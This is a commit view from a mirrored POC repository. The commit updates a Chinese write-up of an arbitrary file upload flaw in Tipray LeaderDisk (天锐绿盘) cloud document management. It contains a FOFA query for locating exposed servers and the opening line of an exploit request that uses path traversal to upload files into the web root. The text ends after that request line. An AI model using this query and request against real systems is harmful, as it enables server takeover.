admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-11-04 18:06:34 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update 天锐绿盘云文档安全管理uploadFolder存在文件上传.md

Browse Source
This commit is contained in:
Rainyseason 2025-09-01 16:04:39 +08:00 committed by GitHub
parent e3404db1bc
commit 113ae22df5
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
wpoc/天锐绿盘云文档安全管理/天锐绿盘云文档安全管理uploadFolder存在文件上传.md
View File

@ -3,9 +3,9 @@
天锐绿盘云文档安全管理存在任意文件上传漏洞，可以获取服务器权限
## fofa
```
body="/lddsm/" || title="天锐绿盘" || title=="Tipray LeaderDisk"||body="location.href=location.href+\"lddsm\""
```
## poc
```javascript
POST /lddsm/service/../admin/activiti/uploadFolder.do?taskId=../webapps/ROOT/&relativepath=1&path=1 HTTP/1.1